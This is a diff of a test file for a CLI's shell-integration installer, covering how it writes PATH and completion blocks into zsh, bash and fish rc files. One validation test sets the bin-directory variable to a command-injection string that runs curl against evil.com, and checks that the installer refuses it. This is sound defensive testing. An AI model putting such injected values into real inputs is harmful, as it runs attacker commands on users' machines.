12
} from 'src/commands/install.cmd';
13
import { makeTerminalUI } from 'src/services/terminal-ui';
14
import { cli, TestLive, MockConsole } from 'test/__utils__';
15
+import type { TestLiveInput } from 'test/__utils__/services/test-layer';
16
17
const makeSink = (isTTY: boolean) => {
18
const chunks: string[] = [];
40
const SAFE_PATH = '/usr/bin:/bin';
41
const TEST_EXEC_PATH = '/usr/local/bin/composio';
42
const expectedRuntimeBinDir = (): string => path.dirname(TEST_EXEC_PATH);
43
+
44
+/**
45
+ * `installShellIntegration` reads the running executable from `NodeProcess`, so
46
+ * a scenario picks its exec path when it builds the layer, not when it calls
47
+ * the command.
48
+ */
49
+const TestInstallLive = (input: TestLiveInput = {}) =>
50
+ TestLive({ execPath: () => TEST_EXEC_PATH, ...input });
51
+
52
const install = (
53
params: {
54
readonly completions?: boolean;
45
- readonly execPath?: string;
55
readonly shell?: Shell;
56
} = {}
57
) =>
58
installShellIntegration({
59
completions: params.completions ?? false,
51
- execPath: params.execPath ?? TEST_EXEC_PATH,
60
shell: params.shell,
61
});
62
81
});
82
83
describe('[When] shell is zsh', () => {
76
- layer(TestLive())(it => {
84
+ layer(TestInstallLive())(it => {
85
it.scoped('[Then] creates .zshrc with PATH only by default', () =>
86
Effect.gen(function* () {
87
const os = yield* NodeOs;
133
});
134
135
describe('[When] shell is bash', () => {
128
- layer(TestLive())(it => {
136
+ layer(TestInstallLive())(it => {
137
it.scoped('[Then] creates .bashrc with PATH only by default', () =>
138
Effect.gen(function* () {
139
const os = yield* NodeOs;
156
});
157
158
describe('[When] bash has neither .bash_profile nor .bash_login', () => {
151
- layer(TestLive())(it => {
159
+ layer(TestInstallLive())(it => {
160
it.scoped('[Then] only .bashrc is created', () =>
161
Effect.gen(function* () {
162
const os = yield* NodeOs;
174
});
175
176
describe('[When] bash has an existing .bash_profile', () => {
169
- layer(TestLive())(it => {
177
+ layer(TestInstallLive())(it => {
178
it.scoped(
179
'[Then] the PATH block also lands in .bash_profile, and the restart hint mentions it',
180
() =>
205
});
206
207
describe('[When] bash updates a private .bash_profile', () => {
200
- layer(TestLive())(it => {
208
+ layer(TestInstallLive())(it => {
209
it.scoped('[Then] preserves its existing file mode', () =>
210
Effect.gen(function* () {
211
const os = yield* NodeOs;
227
});
228
229
describe('[When] bash has only .bash_login (no .bash_profile)', () => {
222
- layer(TestLive())(it => {
230
+ layer(TestInstallLive())(it => {
231
it.scoped('[Then] the PATH block also lands in .bash_login', () =>
232
Effect.gen(function* () {
233
const os = yield* NodeOs;
255
});
256
257
describe('[When] bash has both .bash_profile and .bash_login', () => {
250
- layer(TestLive())(it => {
258
+ layer(TestInstallLive())(it => {
259
it.scoped('[Then] only .bash_profile receives the login PATH block', () =>
260
Effect.gen(function* () {
261
const os = yield* NodeOs;
279
});
280
281
describe('[When] .bash_profile is symlinked to the same file as .bashrc', () => {
274
- layer(TestLive())(it => {
282
+ layer(TestInstallLive())(it => {
283
it.scoped('[Then] the PATH block is written exactly once, not once per alias', () =>
284
Effect.gen(function* () {
285
const os = yield* NodeOs;
305
});
306
307
describe('[When] shell is fish', () => {
300
- layer(TestLive())(it => {
308
+ layer(TestInstallLive())(it => {
309
it.scoped('[Then] creates config.fish with PATH only by default', () =>
310
Effect.gen(function* () {
311
const os = yield* NodeOs;
312
vi.stubEnv('SHELL', '/usr/bin/fish');
313
+ const expectedBinDir = expectedRuntimeBinDir();
314
315
yield* install();
316
320
321
expect(contents).toContain('# Composio CLI');
322
expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
314
- expect(contents).toContain('set --export PATH');
323
+ expect(contents).toContain(`set --export PATH "${expectedBinDir}" $PATH`);
324
expect(contents).not.toContain('# Composio CLI completions');
325
})
326
);
328
});
329
330
describe('[When] --completions is passed', () => {
322
- layer(TestLive())(it => {
331
+ layer(TestInstallLive())(it => {
332
it.scoped('[Then] writes PATH block and installs completions', () =>
333
Effect.gen(function* () {
334
const os = yield* NodeOs;
352
});
353
354
describe('[When] fish shell installs completions', () => {
346
- layer(TestLive())(it => {
355
+ layer(TestInstallLive())(it => {
356
it.scoped(
357
'[Then] keeps PATH setup in config.fish and writes completions to composio.fish',
358
() =>
359
Effect.gen(function* () {
360
const os = yield* NodeOs;
361
vi.stubEnv('SHELL', '/usr/bin/fish');
362
+ const expectedBinDir = expectedRuntimeBinDir();
363
364
yield* install({ completions: true });
365
376
const completionContents = yield* fs.readFileString(completionPath);
377
378
expect(configContents).toContain('# Composio CLI');
369
- expect(configContents).toContain('set --export PATH');
379
+ expect(configContents).toContain(`set --export PATH "${expectedBinDir}" $PATH`);
380
expect(configContents).not.toContain('# Composio CLI completions');
381
382
expect(completionContents).toContain('# Composio CLI completions');
393
});
394
395
describe('[When] fish config and completions are symlinked to the same file', () => {
386
- layer(TestLive())(it => {
396
+ layer(TestInstallLive())(it => {
397
it.scoped('[Then] keeps both PATH and completions blocks', () =>
398
Effect.gen(function* () {
399
const os = yield* NodeOs;
429
});
430
431
describe('[When] fish shell installs completions twice', () => {
422
- layer(TestLive())(it => {
432
+ layer(TestInstallLive())(it => {
433
it.scoped('[Then] keeps config.fish and composio.fish idempotent', () =>
434
Effect.gen(function* () {
435
const os = yield* NodeOs;
465
});
466
467
describe('[When] --no-completions is passed', () => {
458
- layer(TestLive())(it => {
468
+ layer(TestInstallLive())(it => {
469
it.scoped('[Then] writes PATH block but skips completions', () =>
470
Effect.gen(function* () {
471
const os = yield* NodeOs;
462
- vi.stubEnv('SHELL', '/bin/zsh');
472
+ vi.stubEnv('SHELL', '/bin/bash');
473
464
- yield* install();
474
+ yield* cli(['install', '--no-completions']);
475
476
const fs = yield* FileSystem.FileSystem;
467
- const rcPath = path.join(os.homedir, '.zshrc');
477
+ const rcPath = path.join(os.homedir, '.bashrc');
478
const contents = yield* fs.readFileString(rcPath);
479
480
expect(contents).toContain('# Composio CLI');
482
483
const lines = yield* MockConsole.getLines();
484
const output = lines.join('\n');
475
- expect(output).toContain('Completions: skipped for zsh');
485
+ expect(output).toContain('Completions: skipped by default');
486
+ })
487
+ );
488
+ });
489
+ });
490
+
491
+ describe('[When] --shell and --completions are combined on the public CLI', () => {
492
+ layer(TestInstallLive())(it => {
493
+ it.scoped('[Then] the overridden shell gets both the PATH block and completions', () =>
494
+ Effect.gen(function* () {
495
+ const os = yield* NodeOs;
496
+ const fs = yield* FileSystem.FileSystem;
497
+ vi.stubEnv('SHELL', '/bin/zsh');
498
+ const expectedBinDir = expectedRuntimeBinDir();
499
+
500
+ yield* cli(['install', '--shell', 'bash', '--completions']);
501
+
502
+ const contents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));
503
+ expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
504
+ expect(contents).toContain('# Composio CLI completions');
505
+ expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
506
})
507
);
508
});
509
});
510
511
describe('[When] install is run twice (idempotency)', () => {
482
- layer(TestLive())(it => {
512
+ layer(TestInstallLive())(it => {
513
it.scoped('[Then] does not duplicate entries', () =>
514
Effect.gen(function* () {
515
const os = yield* NodeOs;
535
});
536
});
537
508
- describe('[When] .zshrc already has the marker', () => {
509
- layer(TestLive())(it => {
510
- it.scoped('[Then] reports already configured', () =>
538
+ describe('[When] .zshrc already has the current managed PATH line', () => {
539
+ layer(TestInstallLive())(it => {
540
+ it.scoped('[Then] reports already configured and leaves the file untouched', () =>
541
Effect.gen(function* () {
542
const os = yield* NodeOs;
543
const fs = yield* FileSystem.FileSystem;
544
vi.stubEnv('SHELL', '/bin/zsh');
545
+ const expectedBinDir = expectedRuntimeBinDir();
546
516
- // Pre-populate .zshrc with existing config
547
+ // Pre-populate .zshrc with the exact block a previous run would write.
548
const rcPath = path.join(os.homedir, '.zshrc');
518
- yield* fs.writeFileString(
519
- rcPath,
520
- '# existing config\n# Composio CLI\nexport PATH="$HOME/.local/bin:$PATH"\n# Composio CLI completions\n_composio() {}\n'
521
- );
549
+ const existing = `# existing config\n\n# Composio CLI\nexport PATH="${expectedBinDir}:$PATH"\n\n# Composio CLI completions\n_composio() {}\n`;
550
+ yield* fs.writeFileString(rcPath, existing);
551
552
yield* install({ completions: true });
553
557
expect(output).toContain('Completions: skipped for zsh');
558
expect(output).toContain('Shell integration already configured');
559
531
- // File should not have grown
560
+ expect(yield* fs.readFileString(rcPath)).toBe(existing);
561
+ })
562
+ );
563
+ });
564
+ });
565
+
566
+ describe('[When] an rc file carries the legacy install.sh managed block', () => {
567
+ layer(TestInstallLive())(it => {
568
+ it.scoped('[Then] the stale block is migrated in place, not left or duplicated', () =>
569
+ Effect.gen(function* () {
570
+ const os = yield* NodeOs;
571
+ const fs = yield* FileSystem.FileSystem;
572
+ vi.stubEnv('SHELL', '/bin/zsh');
573
+ const expectedBinDir = expectedRuntimeBinDir();
574
+
575
+ const rcPath = path.join(os.homedir, '.zshrc');
576
+ yield* fs.writeFileString(
577
+ rcPath,
578
+ [
579
+ '# user config above',
580
+ '',
581
+ '# Composio CLI',
582
+ 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',
583
+ 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',
584
+ '',
585
+ '# user config below',
586
+ '',
587
+ ].join('\n')
588
+ );
589
+
590
+ yield* install();
591
+
592
const contents = yield* fs.readFileString(rcPath);
533
- const markerCount = contents.split('# Composio CLI').length - 1;
534
- expect(markerCount).toBe(2);
593
+ expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
594
+ expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
595
+ expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
596
+ // The block is replaced where it stood: the user's own lines keep
597
+ // their relative order around it.
598
+ expect(contents.indexOf('# user config above')).toBeLessThan(
599
+ contents.indexOf('# Composio CLI')
600
+ );
601
+ expect(contents.indexOf('# Composio CLI')).toBeLessThan(
602
+ contents.indexOf('# user config below')
603
+ );
604
+
605
+ const output = (yield* MockConsole.getLines()).join('\n');
606
+ expect(output).toContain('PATH: will add');
607
+ })
608
+ );
609
+ });
610
+ });
611
+
612
+ describe('[When] a legacy block sits above an existing completions block', () => {
613
+ layer(TestInstallLive())(it => {
614
+ it.scoped('[Then] migrating the PATH block leaves the completions block intact', () =>
615
+ Effect.gen(function* () {
616
+ const os = yield* NodeOs;
617
+ const fs = yield* FileSystem.FileSystem;
618
+ vi.stubEnv('SHELL', '/bin/bash');
619
+ const expectedBinDir = expectedRuntimeBinDir();
620
+
621
+ const rcPath = path.join(os.homedir, '.bashrc');
622
+ yield* fs.writeFileString(
623
+ rcPath,
624
+ [
625
+ '# Composio CLI',
626
+ 'export COMPOSIO_INSTALL_DIR="$HOME/.composio"',
627
+ 'export PATH="$COMPOSIO_INSTALL_DIR:$PATH"',
628
+ '',
629
+ '# Composio CLI completions',
630
+ '_composio_completions() { :; }',
631
+ '',
632
+ ].join('\n')
633
+ );
634
+
635
+ yield* install({ completions: true });
636
+
637
+ const contents = yield* fs.readFileString(rcPath);
638
+ expect(contents).not.toContain('COMPOSIO_INSTALL_DIR');
639
+ expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
640
+ expect(contents).toContain('_composio_completions() { :; }');
641
+ expect(contents.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
642
+ expect(contents.match(/^# Composio CLI completions$/gm)?.length ?? 0).toBe(1);
643
+ })
644
+ );
645
+ });
646
+ });
647
+
648
+ describe('[When] a migrated rc file is installed into a second time', () => {
649
+ layer(TestInstallLive())(it => {
650
+ it.scoped('[Then] the second run is a no-op', () =>
651
+ Effect.gen(function* () {
652
+ const os = yield* NodeOs;
653
+ const fs = yield* FileSystem.FileSystem;
654
+ vi.stubEnv('SHELL', '/bin/zsh');
655
+
656
+ const rcPath = path.join(os.homedir, '.zshrc');
657
+ yield* fs.writeFileString(
658
+ rcPath,
659
+ '# Composio CLI\nexport COMPOSIO_INSTALL_DIR="$HOME/.composio"\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"\n'
660
+ );
661
+
662
+ yield* install();
663
+ const afterFirst = yield* fs.readFileString(rcPath);
664
+ yield* install();
665
+ const afterSecond = yield* fs.readFileString(rcPath);
666
+
667
+ expect(afterSecond).toBe(afterFirst);
668
+ expect(afterSecond.match(/^# Composio CLI$/gm)?.length ?? 0).toBe(1);
669
})
670
);
671
});
672
});
673
674
describe('[When] shell cannot be detected', () => {
541
- layer(TestLive())(it => {
675
+ layer(TestInstallLive())(it => {
676
it.scoped('[Then] shows manual setup instructions', () =>
677
Effect.gen(function* () {
678
vi.stubEnv('SHELL', '');
692
});
693
694
describe('[When] shell cannot be detected but the bin dir is already on $PATH', () => {
561
- layer(TestLive())(it => {
695
+ layer(TestInstallLive())(it => {
696
it.scoped('[Then] reports already on PATH instead of asking for manual setup', () =>
697
Effect.gen(function* () {
698
const os = yield* NodeOs;
717
});
718
719
describe('[When] stderr is captured rather than a terminal', () => {
586
- layer(TestLive({ terminalUI: capturedStderrUI }))(it => {
720
+ layer(TestInstallLive({ terminalUI: capturedStderrUI }))(it => {
721
it.scoped('[Then] still reports the rc file and how to reload the shell', () =>
722
Effect.gen(function* () {
723
vi.stubEnv('SHELL', '/bin/zsh');
748
});
749
750
describe('[When] --shell zsh overrides a conflicting $SHELL', () => {
617
- layer(TestLive())(it => {
751
+ layer(TestInstallLive())(it => {
752
it.scoped('[Then] writes ~/.zshrc, not ~/.bashrc', () =>
753
Effect.gen(function* () {
754
const os = yield* NodeOs;
765
});
766
767
describe('[When] --shell is parsed by the public CLI', () => {
634
- layer(TestLive())(it => {
768
+ layer(TestInstallLive())(it => {
769
it.scoped('[Then] a valid override reaches the requested shell integration', () =>
770
Effect.gen(function* () {
771
const os = yield* NodeOs;
782
});
783
784
describe('[When] --shell has an unsupported value', () => {
651
- layer(TestLive())(it => {
785
+ layer(TestInstallLive())(it => {
786
it.scoped('[Then] the public CLI rejects it during option parsing', () =>
787
Effect.gen(function* () {
788
const exit = yield* cli(['install', '--shell', 'powershell']).pipe(Effect.exit);
793
});
794
795
describe('[When] both completion flags are parsed by the public CLI', () => {
662
- layer(TestLive())(it => {
796
+ layer(TestInstallLive())(it => {
797
it.scoped('[Then] --no-completions takes precedence', () =>
798
Effect.gen(function* () {
799
const os = yield* NodeOs;
811
});
812
813
describe('[When] --shell bash overrides a conflicting $SHELL', () => {
680
- layer(TestLive())(it => {
814
+ layer(TestInstallLive())(it => {
815
it.scoped('[Then] writes ~/.bashrc, not ~/.zshrc', () =>
816
Effect.gen(function* () {
817
const os = yield* NodeOs;
828
});
829
830
describe('[When] --shell fish is passed with $SHELL unset', () => {
697
- layer(TestLive())(it => {
831
+ layer(TestInstallLive())(it => {
832
it.scoped('[Then] writes config.fish', () =>
833
Effect.gen(function* () {
834
const os = yield* NodeOs;
845
});
846
847
describe('[When] --shell is explicit and the bin dir is already on the invoking $PATH', () => {
714
- layer(TestLive())(it => {
848
+ layer(TestInstallLive())(it => {
849
it.scoped('[Then] still writes the requested shell, and re-running stays idempotent', () =>
850
Effect.gen(function* () {
851
const os = yield* NodeOs;
865
});
866
});
867
734
- describe('[When] auto-detected shell has its bin dir already on $PATH', () => {
735
- layer(TestLive())(it => {
736
- it.scoped('[Then] writes nothing and reports already on PATH, with no restart hint', () =>
868
+ describe('[When] auto-detected shell has its bin dir already on the invoking $PATH', () => {
869
+ layer(TestInstallLive())(it => {
870
+ it.scoped('[Then] the rc file is still written, since a transient $PATH proves nothing', () =>
871
Effect.gen(function* () {
872
const os = yield* NodeOs;
873
vi.stubEnv('SHELL', '/bin/zsh');
877
yield* install();
878
879
const fs = yield* FileSystem.FileSystem;
746
- expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
880
+ const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
881
+ expect(contents).toContain(`export PATH="${binDir}:$PATH"`);
882
883
const lines = yield* MockConsole.getLines();
884
const output = lines.join('\n');
750
- expect(output).toContain('already on $PATH');
751
- expect(output).not.toContain('Restart your shell');
885
+ expect(output).toContain('PATH: will add');
886
+ expect(output).toContain('Restart your shell');
887
})
888
);
889
});
890
});
891
757
- describe('[When] a new .bash_profile appears after .bashrc was already configured, and the bin dir is already on $PATH', () => {
758
- layer(TestLive())(it => {
759
- it.scoped(
760
- '[Then] the new .bash_profile still gets the PATH block, not skipped by the reachability check',
761
- () =>
762
- Effect.gen(function* () {
763
- const os = yield* NodeOs;
764
- const fs = yield* FileSystem.FileSystem;
765
- vi.stubEnv('SHELL', '/bin/bash');
766
- const binDir = expectedRuntimeBinDir();
767
- vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
768
-
769
- // Simulate a prior `composio install` run that already configured .bashrc.
770
- const bashrcPath = path.join(os.homedir, '.bashrc');
771
- yield* fs.writeFileString(
772
- bashrcPath,
773
- `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`
774
- );
892
+ describe('[When] a new .bash_profile appears after .bashrc was already configured', () => {
893
+ layer(TestInstallLive())(it => {
894
+ it.scoped('[Then] the new .bash_profile gets the PATH block and .bashrc is left alone', () =>
895
+ Effect.gen(function* () {
896
+ const os = yield* NodeOs;
897
+ const fs = yield* FileSystem.FileSystem;
898
+ vi.stubEnv('SHELL', '/bin/bash');
899
+ const binDir = expectedRuntimeBinDir();
900
+ vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
901
776
- // .bash_profile shows up afterward and was never configured.
777
- const bashProfilePath = path.join(os.homedir, '.bash_profile');
778
- yield* fs.writeFileString(bashProfilePath, '# existing login config\n');
902
+ // Simulate a prior `composio install` run that already configured .bashrc.
903
+ const bashrcPath = path.join(os.homedir, '.bashrc');
904
+ yield* fs.writeFileString(bashrcPath, `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`);
905
780
- yield* install();
906
+ // .bash_profile shows up afterward and was never configured.
907
+ const bashProfilePath = path.join(os.homedir, '.bash_profile');
908
+ yield* fs.writeFileString(bashProfilePath, '# existing login config\n');
909
782
- const bashProfileContents = yield* fs.readFileString(bashProfilePath);
783
- expect(bashProfileContents).toContain('# Composio CLI');
784
- })
910
+ yield* install();
911
+
912
+ const bashProfileContents = yield* fs.readFileString(bashProfilePath);
913
+ expect(bashProfileContents).toContain('# Composio CLI');
914
+ // .bashrc already carries the exact current line, so it is untouched.
915
+ expect(yield* fs.readFileString(bashrcPath)).toBe(
916
+ `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`
917
+ );
918
+ })
919
);
920
});
921
});
922
923
describe('[When] COMPOSIO_BIN_DIR is set to a custom directory', () => {
790
- layer(TestLive())(it => {
924
+ layer(TestInstallLive())(it => {
925
it.scoped('[Then] --shell zsh writes a PATH line for the custom directory', () =>
926
Effect.gen(function* () {
927
const os = yield* NodeOs;
940
});
941
942
describe('[When] COMPOSIO_BIN_DIR is whitespace-only', () => {
809
- layer(TestLive())(it => {
943
+ layer(TestInstallLive())(it => {
944
it.scoped('[Then] it is treated as unset, not as a literal bin dir', () =>
945
Effect.gen(function* () {
946
const os = yield* NodeOs;
959
});
960
961
describe('[When] COMPOSIO_BIN_DIR has surrounding whitespace around a real value', () => {
828
- layer(TestLive())(it => {
962
+ layer(TestInstallLive())(it => {
963
it.scoped('[Then] the surrounding whitespace is trimmed before it is used', () =>
964
Effect.gen(function* () {
965
const os = yield* NodeOs;
977
});
978
979
describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin/composio is the running executable', () => {
846
- layer(TestLive())(it => {
980
+ layer(
981
+ TestInstallLive({ execPath: homedir => path.join(homedir, '.local', 'bin', 'composio') })
982
+ )(it => {
983
it.scoped('[Then] the PATH line targets ~/.local/bin via a literal $HOME prefix', () =>
984
Effect.gen(function* () {
985
const os = yield* NodeOs;
991
yield* fs.makeDirectory(localBinDir, { recursive: true });
992
yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');
993
858
- yield* install({ execPath: localBinComposio });
994
+ yield* install();
995
996
const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
997
expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');
1001
});
1002
});
1003
1004
+ describe('[When] the resolved bin dir contains an apostrophe', () => {
1005
+ layer(TestInstallLive({ execPath: () => "/opt/o'brien/bin/composio" }))(it => {
1006
+ it.scoped("[Then] it is written verbatim, since `'` is literal inside double quotes", () =>
1007
+ Effect.gen(function* () {
1008
+ const os = yield* NodeOs;
1009
+ const fs = yield* FileSystem.FileSystem;
1010
+ vi.stubEnv('SHELL', '/bin/zsh');
1011
+
1012
+ yield* install();
1013
+
1014
+ const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1015
+ expect(contents).toContain(`export PATH="/opt/o'brien/bin:$PATH"`);
1016
+ })
1017
+ );
1018
+ });
1019
+ });
1020
+
1021
describe('[When] ~/.local/bin/composio is a symlink chain to the running executable', () => {
869
- layer(TestLive())(it => {
1022
+ layer(
1023
+ TestInstallLive({ execPath: homedir => path.join(homedir, '.composio-dist', 'composio') })
1024
+ )(it => {
1025
it.scoped('[Then] the PATH line still targets ~/.local/bin', () =>
1026
Effect.gen(function* () {
1027
const os = yield* NodeOs;
1038
yield* fs.symlink(execFile, intermediateLink);
1039
yield* fs.symlink(intermediateLink, path.join(localBinDir, 'composio'));
1040
886
- yield* install({ execPath: execFile });
1041
+ yield* install();
1042
1043
const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1044
expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');
1048
});
1049
1050
describe('[When] ~/.local/bin/composio is a foreign program (e.g. a leftover pip install)', () => {
896
- layer(TestLive())(it => {
1051
+ layer(TestInstallLive())(it => {
1052
it.scoped('[Then] the PATH line targets the running executable directory instead', () =>
1053
Effect.gen(function* () {
1054
const os = yield* NodeOs;
1071
});
1072
1073
describe('[When] COMPOSIO_BIN_DIR is set and ~/.local/bin/composio is also the running executable', () => {
919
- layer(TestLive())(it => {
1074
+ layer(
1075
+ TestInstallLive({ execPath: homedir => path.join(homedir, '.local', 'bin', 'composio') })
1076
+ )(it => {
1077
it.scoped('[Then] the env var wins over the ~/.local/bin fallback', () =>
1078
Effect.gen(function* () {
1079
const os = yield* NodeOs;
1086
yield* fs.makeDirectory(localBinDir, { recursive: true });
1087
yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');
1088
932
- yield* install({ execPath: localBinComposio });
1089
+ yield* install();
1090
1091
const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1092
expect(contents).toContain('export PATH="/custom/bin:$PATH"');
1097
});
1098
1099
describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin has no composio entry point', () => {
943
- layer(TestLive())(it => {
1100
+ layer(TestInstallLive())(it => {
1101
it.scoped('[Then] the PATH line targets the real binary directory', () =>
1102
Effect.gen(function* () {
1103
const os = yield* NodeOs;
1114
});
1115
});
1116
960
- describe('[When] COMPOSIO_BIN_DIR contains shell metacharacters', () => {
961
- layer(TestLive())(it => {
1117
+ describe('[When] COMPOSIO_BIN_DIR contains characters that expand inside double quotes', () => {
1118
+ layer(TestInstallLive())(it => {
1119
it.scoped('[Then] aborts with an error', () =>
1120
Effect.gen(function* () {
1121
vi.stubEnv('SHELL', '/bin/zsh');
965
- vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x; curl evil.com');
1122
+ vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x$(curl evil.com)');
1123
1124
const error = yield* install().pipe(Effect.flip);
1125
expect(error).toBeInstanceOf(ShellSetupAbortError);
1135
});
1136
1137
describe('[When] COMPOSIO_BIN_DIR is relative', () => {
981
- layer(TestLive())(it => {
1138
+ layer(TestInstallLive())(it => {
1139
it.scoped('[Then] aborts instead of persisting a relative PATH entry', () =>
1140
Effect.gen(function* () {
1141
vi.stubEnv('SHELL', '/bin/zsh');
1153
});
1154
1155
describe('[When] COMPOSIO_BIN_DIR contains a PATH delimiter', () => {
999
- layer(TestLive())(it => {
1156
+ layer(TestInstallLive())(it => {
1157
it.scoped('[Then] aborts instead of persisting multiple PATH entries', () =>
1158
Effect.gen(function* () {
1159
vi.stubEnv('SHELL', '/bin/zsh');
1172
});
1173
1174
describe('[When] the runtime executable resolves to an unsafe directory', () => {
1018
- layer(TestLive())(it => {
1175
+ layer(TestInstallLive({ execPath: () => '/tmp/we`ird/composio' }))(it => {
1176
it.scoped('[Then] reports an origin-neutral error', () =>
1177
Effect.gen(function* () {
1178
vi.stubEnv('SHELL', '/bin/zsh');
1179
1023
- const error = yield* install({ execPath: "/tmp/o'brien/composio" }).pipe(Effect.flip);
1180
+ const error = yield* install().pipe(Effect.flip);
1181
expect(error).toBeInstanceOf(ShellSetupAbortError);
1182
1183
const output = (yield* MockConsole.getLines()).join('\n');